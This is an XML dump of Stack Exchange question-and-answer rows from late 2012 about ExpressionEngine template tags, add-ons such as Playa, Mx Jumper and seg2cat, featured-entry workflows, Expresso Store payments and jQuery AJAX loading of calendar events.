  <row Id="650" PostTypeId="2" ParentId="645" CreationDate="2012-11-28T12:34:41.233" Score="2" Body="&lt;p&gt;You could use something like &lt;a href=&quot;http://devot-ee.com/add-ons/mo-variables&quot; rel=&quot;nofollow&quot;&gt;Mo Variables&lt;/a&gt; to access $_GET, then do something like this in your 'search' template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{redirect=&quot;/entry/path/{get:entry_id}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then just have your search form do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;pathto/quicksearch-template&quot; method=&quot;get&quot;&amp;gt;&#xA;  &amp;lt;input type=&quot;text&quot; name=&quot;entry_id&quot;&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="104" LastActivityDate="2012-11-28T12:34:41.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="651" PostTypeId="1" AcceptedAnswerId="652" CreationDate="2012-11-28T12:38:02.413" Score="2" ViewCount="226" Body="&lt;p&gt;Im using the calendar tag on a page and an iframe below it to display an event page.&#xA;The iframe displays the latest event.&#xA;When you click on a day in the calendar it calls that days event into the iframe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code to call up the day event:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{day_path='events'}&quot; target=&quot;cal_frame&quot;&amp;gt;{day_number}&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the existing iframe:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;colThree_event_container&quot;&amp;gt;&#xA;  &amp;lt;iframe name=&quot;cal_frame&quot; scrolling=&quot;no&quot; src=&quot;{site_url}events&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have been trying to do away with the iframe and have the same functionality using just a div and ajax/jquery with no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any pointers? :-)&lt;/p&gt;&#xA;" OwnerUserId="249" LastEditorUserId="55" LastEditDate="2012-11-28T15:06:47.693" LastActivityDate="2012-12-02T14:05:18.150" Title="Calendar tag and ajax/jquery" Tags="|channel|ajax|jquery|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="652" PostTypeId="2" ParentId="651" CreationDate="2012-11-28T12:47:33.457" Score="4" Body="&lt;p&gt;Ok, here's the code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Javascript:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(function(){ &#xA;&#xA;    $('.ajax_link').on('click', function(e){ // catch the click, and bind that click-event to the variable &quot;e&quot;&#xA;        e.preventDefault(); // stop the event from firing (so user doesn't get forwarded to the actual link)&#xA;&#xA;        var elem = $(this),&#xA;            link = elem.attr('href'),&#xA;            target = elem.attr('rel');&#xA;&#xA;        $.get(link, function(data){ // do a GET-request&#xA;            $(target).html(data); // put the results in the target-element&#xA;        });&#xA;&#xA;    });&#xA;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've made a Gist (which also includes the HTML): &lt;a href=&quot;https://gist.github.com/4188501&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/4188501&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does that help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: updated code.&lt;/p&gt;&#xA;" OwnerUserId="195" LastEditorUserId="195" LastEditDate="2012-12-02T14:05:18.150" LastActivityDate="2012-12-02T14:05:18.150" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="653" PostTypeId="1" CreationDate="2012-11-28T12:50:55.000" Score="3" ViewCount="118" Body="&lt;p&gt;Is it possible for Expresso Store to pass billing details on to Worldpay so the buyer doesn't have to add them again?&lt;/p&gt;&#xA;" OwnerUserId="435" LastEditorUserId="16" LastEditDate="2012-11-29T22:13:35.837" LastActivityDate="2012-11-29T22:13:35.837" Title="Can Expresso Store pass billing details to Worldpay?" Tags="|expresso-store|ecommerce|worldpay|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="654" PostTypeId="2" ParentId="641" CreationDate="2012-11-28T13:02:33.247" Score="4" Body="&lt;p&gt;Did you try using out_global like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:mx_jumper:out_global}&#xA;&#xA;{exp:channel:entries channel=&quot;blog&quot; limit=&quot;1&quot;}&#xA;&amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;{exp:mx_jumper:put name=&quot;test&quot;}Move this content to outside the loop{/exp:mx_jumper:put}&#xA;{/exp:channel:entries}&#xA;&#xA;{/exp:mx_jumper:out_global}&#xA;&#xA;{exp:mx_jumper:out name=&quot;test&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or you could also do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:mx_jumper:out_global}&#xA;&#xA;{exp:channel:entries channel=&quot;blog&quot; limit=&quot;1&quot;}&#xA;&amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;{exp:mx_jumper:put name=&quot;test&quot;}Move this content to outside the loop{/exp:mx_jumper:put}&#xA;{/exp:channel:entries}&#xA;&#xA;{exp:mx_jumper:out name=&quot;test&quot;}&#xA;&#xA;{/exp:mx_jumper:out_global}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="111" LastActivityDate="2012-11-28T13:02:33.247" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="655" PostTypeId="2" ParentId="653" CreationDate="2012-11-28T13:24:22.657" Score="1" Body="&lt;p&gt;According to the docs, it looks like it can:&#xA;&lt;a href=&quot;https://exp-resso.com/docs/store/payment_gateways.html#worldpay&quot; rel=&quot;nofollow&quot;&gt;https://exp-resso.com/docs/store/payment_gateways.html#worldpay&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2012-11-28T13:24:22.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="656" PostTypeId="2" ParentId="622" CreationDate="2012-11-28T13:34:11.313" Score="3" Body="&lt;p&gt;You can control the page EE shows when a 404 is encountered via your &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/design/templates/global_template_preferences.html#page&quot; rel=&quot;nofollow&quot;&gt;Global Template Preferences&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error page you see when EE or an add-on encounters a submission error, or when you're being redirected after a form submission, is controlled via the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/design/message_pages/index.html#user-message-template&quot; rel=&quot;nofollow&quot;&gt;User Message Template&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2012-11-28T13:34:11.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="657" PostTypeId="2" ParentId="641" CreationDate="2012-11-28T13:42:23.390" Score="2" Body="&lt;p&gt;This is a parse order issue I believe. The parse order is a tricky thing to get right. I believe what's happening is that the parse order is hitting the outermost tags first, and then goes back and hits the inner layers. If you turn on your template debugging, you will be able to verify this by viewing the order in which the tags are parsed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a funky trick I have used in the past to deal with this issue myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Surround the second tag (the out tag) with another plugin which doesn't manipulate the output. For example, look for the ifElse tag from Croxton. That puts the Mx Jumper &quot;out&quot; tag on the same nested level (one level) as the Mx Jumper &quot;put&quot; tag. Again, the plugin (or module tag) that you use doesn't matter as long as it doesn't change the output. This sounds funky, but it works!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;blog&quot;}&#xA;    &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;    {exp:mx_jumper:put name=&quot;test&quot;}Move this content to outside the loop{/exp:mx_jumper:put}&#xA;{/exp:channel:entries}&#xA;&#xA;{exp:ifelse}&#xA;  {exp:mx_jumper:out name=&quot;test&quot;}&#xA;{/exp:ifelse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="274" LastActivityDate="2012-11-28T13:42:23.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="659" PostTypeId="1" AcceptedAnswerId="746" CreationDate="2012-11-28T13:50:01.743" Score="3" ViewCount="141" Body="&lt;p&gt;I have the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;blog&quot; require_entry=&quot;yes&quot; limit=&quot;1&quot;}&#xA;&amp;lt;div class=&quot;row related-articles&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;grid_12&quot;&amp;gt;&#xA;        &amp;lt;h2&amp;gt;Related Articles&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;ul class=&quot;unstyled inline&quot;&amp;gt;&#xA;            {exp:playa:children entry_id=&quot;{entry_id}&quot;}&#xA;                {cf_general_related}&#xA;                &amp;lt;li class=&quot;grid_3 alpha omega&quot;&amp;gt;&#xA;                    &amp;lt;h3&amp;gt;{title}&amp;lt;/h3&amp;gt;&#xA;                    &amp;lt;img src=&quot;#&quot; alt=&quot;#&quot;/&amp;gt;&#xA;                    &amp;lt;span class=&quot;clear&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;                {/cf_general_related}&#xA;            {/exp:playa:children}&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem I'm finding here is, my related entries are outputting in multiples, so if I have 2 relative entries, I get 4 results in the template, if I have 4 relative entries, I get 16 items output. And each item repeats so many times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why?&lt;/p&gt;&#xA;" OwnerDisplayName="user417" LastEditorUserId="268" LastEditDate="2012-11-28T15:06:17.677" LastActivityDate="2012-11-30T00:48:10.243" Title="Playa tag outputting relative fields in multiples" Tags="|add-on|channel-entries|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="660" PostTypeId="2" ParentId="659" CreationDate="2012-11-28T13:56:01.923" Score="0" Body="&lt;p&gt;I think it's because you nested 2 playa tags:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:children entry_id=&quot;{entry_id}&quot;}&#xA;{cf_general_related}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The corrected syntax is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:children field=&quot;cf_general_related&quot;}&#xA;    &amp;lt;li&amp;gt;...&amp;lt;/li&amp;gt;&#xA;{/exp:playa:children}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;You can find more info in the docs:&lt;/strong&gt;&#xA;&lt;a href=&quot;http://pixelandtonic.com/playa/docs/templates#playa:children&quot; rel=&quot;nofollow&quot;&gt;http://pixelandtonic.com/playa/docs/templates#playa:children&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seems like you're just trying to get the related fields of your entry.&#xA;All you need to do is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{cf_general_related}&#xA;    &amp;lt;li&amp;gt;..&amp;lt;/li&amp;gt;&#xA;{/cf_general_related}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="174" LastEditorUserId="174" LastEditDate="2012-11-28T14:17:48.393" LastActivityDate="2012-11-28T14:17:48.393" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="661" PostTypeId="2" ParentId="659" CreationDate="2012-11-28T14:01:54.423" Score="1" Body="&lt;p&gt;You need to set up your entry something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;fact_sheets&quot; limit=&quot;1&quot; disable=&quot;categories|category_fields|member_data|pagination&quot; }&#xA;&#xA; {exp:playa:children field=&quot;press_photos&quot; }&#xA;&#xA;      {if full_size_photo == &quot;&quot;}&#xA;&#xA;         &amp;lt;img src=&quot;{press_thumbnail}&quot; alt=&quot;{title}&quot; /&amp;gt;&#xA;&#xA;      {if:else}&#xA;&#xA;         &amp;lt;a href=&quot;{full_size_photo}&quot;&amp;gt;&amp;lt;img src=&quot;{press_thumbnail}&quot; alt=&quot;{title}&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;      {/if}&#xA;&#xA;         &amp;lt;p&amp;gt;{caption}&amp;lt;/p&amp;gt;&#xA;&#xA;  {/exp:playa:children}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You pull the entry in with the channel entries and you reference the field in the Playa tag.&lt;/p&gt;&#xA;" OwnerUserId="258" LastEditorUserId="16" LastEditDate="2012-11-30T00:48:10.243" LastActivityDate="2012-11-30T00:48:10.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="662" PostTypeId="1" AcceptedAnswerId="670" CreationDate="2012-11-28T14:09:20.387" Score="4" ViewCount="174" Body="&lt;p&gt;I'm building a site with approximately 5 different channels and five different field groups. The home page of the site has multiple &quot;feature&quot; areas that can feature any of the entries from any of those channels. I need a way to allow users to &quot;flag&quot; an entry as a feature for the home page, then for an admin to take that entry and place it in any one of the 5 feature areas of the home page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the second part of this equation (the admin placing the feature) figured out — I'm using Low Variables and Playa for that and it's amazing. It's the first part (users flagging entries as features in the control panel) that I haven't been able to hammer down a great method for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I mentioned, any one of the 5 or so channels can have entries flagged as a feature, and each of those channels has a different field group. When flagging any entry as a feature there are a few required things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Feature Image&lt;/li&gt;&#xA;&lt;li&gt;Excerpt&lt;/li&gt;&#xA;&lt;li&gt;Department&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;That goes for any entry in any channel. The tricky thing for me is the fact that I can't have similarly titled fields in different field groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on ways to pull this off so it's not a convoluted process for the user?&lt;/p&gt;&#xA;" OwnerUserId="436" LastEditorUserId="104" LastEditDate="2012-11-29T00:23:44.677" LastActivityDate="2012-11-29T00:23:44.677" Title="Allowing users to mark any entry on the site as a feature" Tags="|ee2|add-on|" AnswerCount="6" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="663" PostTypeId="2" ParentId="647" CreationDate="2012-11-28T14:12:06.950" Score="0" Body="&lt;p&gt;So my approach to this sort of thing is to use &lt;a href=&quot;http://gotolow.com/addons/low-seg2cat&quot; rel=&quot;nofollow&quot;&gt;Low's seg2cat extension&lt;/a&gt;. As the name suggests, this lets you get from a url segment to a category_id/name etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hence if your URL is &lt;code&gt;http://example.com/fruit/apples&lt;/code&gt;, then &lt;code&gt;{segment_2_category_id}&lt;/code&gt; will be the category_id of your &quot;fruit&quot; category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then push this into your &lt;code&gt;channel:entries&lt;/code&gt; tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;  channel=&quot;brands&quot;&#xA;  category=&quot;{segment_2_category_id}&quot;&#xA;  dynamic=&quot;no&quot;&#xA;}&#xA;  &amp;lt;li&amp;gt;{title}&amp;lt;/li&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Extra tip:&lt;/strong&gt; If you need this to work with a fallback category (when no cat in the URL) you can take advantage of the parse order and the way &lt;code&gt;preload_replace&lt;/code&gt; works to do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2_category_id}&#xA;  {preload_replace:pre_current_category=&quot;{segment_2_category_id}&quot;}&#xA;{/if}&#xA;{preload_replace:pre_current_category=&quot;n&quot;}&#xA;&#xA;{exp:channel:entries&#xA;  channel=&quot;brands&quot;&#xA;  category=&quot;{pre_current_cat}&quot;&#xA;  dynamic=&quot;no&quot;&#xA;}&#xA;  &amp;lt;li&amp;gt;{title}&amp;lt;/li&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As attempts to redefine a &lt;code&gt;preload_replace&lt;/code&gt; are ignored and the first value used, and simple conditionals are parsed &lt;strong&gt;before&lt;/strong&gt; &lt;code&gt;preload_replace&lt;/code&gt;s.&lt;/p&gt;&#xA;" OwnerUserId="104" LastEditorUserId="104" LastEditDate="2012-11-28T14:25:11.990" LastActivityDate="2012-11-28T14:25:11.990" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="664" PostTypeId="2" ParentId="662" CreationDate="2012-11-28T14:12:55.593" Score="1" Body="&lt;p&gt;Can you just use the 'Make entry sticky' checkbox in the entry?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise I would go down the route of having to add a custom field to each channel :/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;OR&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You create another channel called 'featured items' with a Playa field and the Feature Img/Excerpt/Dept. fields in it. Then the users choose an entry + add these details and by default, an entry in this channel is 'meant' for the homepage.&lt;/p&gt;&#xA;" OwnerUserId="192" LastActivityDate="2012-11-28T14:12:55.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="665" PostTypeId="2" ParentId="647" CreationDate="2012-11-28T14:13:34.560" Score="2" Body="&lt;p&gt;I don't think you can achieve this result with pure EE,but if you don't mind using some php, you could do something along these lines:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This runs through you entries ( it's a dynamic ee tag, so if your product category is defined in the url, it should only show the entries in that category )&#xA;and adds their categories to an array in PHP.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $categories = array(); $i = 0; ?&amp;gt;&#xA;{exp:channel:entries channel=&quot;products&quot;}&#xA;    {categories}&#xA;       &amp;lt;?php&#xA;           if(!in_array(&quot;{category_url_title}&quot;, $categories)){&#xA;               $categories[$i][0] = &quot;{category_id}&quot;;&#xA;               $categories[$i][1] = &quot;{category_name}&quot;;&#xA;               $categories[$i][2] = &quot;{category_url_title}&quot;;&#xA;               $i++;&#xA;           }&#xA;       ?&amp;gt;&#xA;    {/categories}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can use this PHP array to output the categories. This array should only contain the categories that have entries which are in the product-category of the page you're on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might very well be that there's a much easier, and especially cleaner, way to achieve this result though.. but it should work. :)&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2012-11-28T14:13:34.560" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="666" PostTypeId="2" ParentId="647" CreationDate="2012-11-28T14:15:52.233" Score="2" Body="&lt;p&gt;We handle this by placing the categories in the URL as segments (example.com/store/category_foo/category_bar), and use the seg2cat add-on, which will give you a {segment_category_ids} variable, which can be used like this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:entries category=&quot;{segment_category_ids}&quot; dynamic=&quot;no&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will give you the ability to handle multiple category id's in the URL, which I believe might be part of the problem you're trying to solve.&lt;/p&gt;&#xA;" OwnerUserId="33" LastEditorUserId="33" LastEditDate="2012-11-28T14:26:01.613" LastActivityDate="2012-11-28T14:26:01.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="667" PostTypeId="2" ParentId="662" CreationDate="2012-11-28T14:22:48.607" Score="2" Body="&lt;p&gt;One option could be to create a &quot;Featured&quot; Category group all of those 5 channels could use.  A user would select entries they would like featured using this category. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would change the Playa settings to only show the Featured category, so that the admin would only see entries filtered by this category when they are selecting content to feature.&lt;/p&gt;&#xA;" OwnerUserId="348" LastEditorUserId="348" LastEditDate="2012-11-28T14:41:29.407" LastActivityDate="2012-11-28T14:41:29.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="668" PostTypeId="2" ParentId="662" CreationDate="2012-11-28T14:28:42.880" Score="2" Body="&lt;p&gt;You could create a category group specifically for featured, then set up your Playa field to only show items from that category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as the additional fields, if you don't want similar fields in multiple channels, and if you don't want to create a new channel specifically for featured fields, you could create a matrix with:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Featured Item (Playa to your 5 channels filtered by featured category) &lt;/li&gt;&#xA;&lt;li&gt;Feature Image&lt;/li&gt;&#xA;&lt;li&gt;Excerpt  &lt;/li&gt;&#xA;&lt;li&gt;Department &lt;/li&gt;&#xA;&lt;li&gt;Any other custom fields you need&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This would also allow you to use Matrix's settings to set min and max number of required featured entries for the home page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would change the workflow a bit in that flagged entries will need the additional info added when they are assigned to the homepage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I generally avoid using sticky for this situation because I don't necessarily want a featured item to always be listed before non-featured items.&lt;/p&gt;&#xA;" OwnerUserId="409" LastActivityDate="2012-11-28T14:28:42.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="669" PostTypeId="2" ParentId="659" CreationDate="2012-11-28T14:38:17.310" Score="4" Body="&lt;p&gt;You are getting duplicate content cause playa is being called twice&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First by (the direct call to the playa module)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:children field=&quot;cf_general_related&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Secondly by (the field name tag pair option)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{cf_general_related}&#xA;    &amp;lt;li&amp;gt;..&amp;lt;/li&amp;gt;&#xA;{/cf_general_related}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which produces&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:children field=&quot;cf_general_related&quot; entry_id=&quot;{entry_id}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I prefer field name tag pair (keeps the template clean)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{cf_general_related}{/cf_general_related}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;*assuming that your playa field is {cf_general_related}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. Upgrade to the latest version of Playa as there are some issues that have been addressed, one annoying one is &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;-Fixed a bug where closing Playa module tags would show up on the front&#xA;  end of the site&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="410" LastActivityDate="2012-11-28T14:38:17.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="670" PostTypeId="2" ParentId="662" CreationDate="2012-11-28T14:48:19.433" Score="4" Body="&lt;p&gt;Can't you use statuses for that ? After all, that's why we have them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's standard EE, easy to use across different channels and easy to output the featured entries in your front-end:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;#&quot; status=&quot;featured&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="174" LastActivityDate="2012-11-28T14:48:19.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="671" PostTypeId="2" ParentId="662" CreationDate="2012-11-28T14:50:44.783" Score="3" Body="&lt;p&gt;I would either use &lt;code&gt;make entry sticky&lt;/code&gt;, which is a flag that can be retrieved in a channel entries tag, or I would set up a custom 'Featured' status in the &lt;code&gt;Default Statuses&lt;/code&gt; status group and use that. (&lt;strong&gt;Note:&lt;/strong&gt; if you do that, make sure to go into &lt;code&gt;Admin -&amp;gt; Channels&lt;/code&gt;, then pick &lt;code&gt;Edit Group Assignments&lt;/code&gt; for each channel and explicitly select &lt;code&gt;Default Statuses&lt;/code&gt; (instead of &lt;code&gt;None&lt;/code&gt;) from the &lt;code&gt;Status Group&lt;/code&gt; dropdown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Categories are WAY more overhead that you don't need for this use-case. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use a Status instead of the Sticky flag, you also need to make sure that all of your &lt;code&gt;exp:channel:entries&lt;/code&gt; tags and Playa tags contain the parameter &lt;code&gt;status=&quot;not closed&quot;&lt;/code&gt;, because if you do not specify that it will default to showing &lt;code&gt;Open&lt;/code&gt; entries only (and therefore not your &lt;code&gt;Featured&lt;/code&gt; entries!)&lt;/p&gt;&#xA;" OwnerUserId="139" LastEditorUserId="139" LastEditDate="2012-11-28T20:43:42.830" LastActivityDate="2012-11-28T20:43:42.830" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="672" PostTypeId="2" ParentId="605" CreationDate="2012-11-28T14:56:45.437" Score="2" Body="&lt;p&gt;Brandon of P&amp;amp;T put out &lt;a href=&quot;https://github.com/pixelandtonic/wygwam_upload_tags&quot; rel=&quot;nofollow&quot;&gt;this extension&lt;/a&gt; for Wygwam a while back. It could be a place to start looking for appropriate hooks to accomplish this.&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2012-11-28T14:56:45.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="673" PostTypeId="1" CreationDate="2012-11-28T15:03:34.583" Score="4" ViewCount="267" Body="&lt;p&gt;I've seen in the documents that you can wrap &lt;code&gt;&amp;lt;span class=&quot;store_product_price&quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;/code&gt; around the price to make it dynamic. However, I absolutely cannot get this to work. It will display the starting price but will not update the price after you choose a modifier with a price adjustment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also tested this in the store_example templates by wrapping the same span tag around the price list on the product template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something I am missing to make this work?&lt;/p&gt;&#xA;" OwnerUserId="441" LastEditorUserId="104" LastEditDate="2012-11-28T18:46:57.173" LastActivityDate="2012-11-28T18:46:57.173" Title="Expresso Store: Updating product price listing based on current modifier chosen" Tags="|add-on|expresso-store|modifiers|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="674" PostTypeId="2" ParentId="647" CreationDate="2012-11-28T15:19:08.827" Score="0" Body="&lt;p&gt;It looks like you've got your navigation working how you want but it's displaying categories and sub-categories that's the problem? GWCode Categories Addon: &lt;a href=&quot;http://gwcode.com/add-ons/gwcode-categories&quot; rel=&quot;nofollow&quot;&gt;http://gwcode.com/add-ons/gwcode-categories&lt;/a&gt; is excellent for going through a hierarchy of categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm struggling a bit with your question. With your actual category groups and an example layout I'd be able to offer some code as well.&lt;/p&gt;&#xA;" OwnerUserId="351" LastActivityDate="2012-11-28T15:19:08.827" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
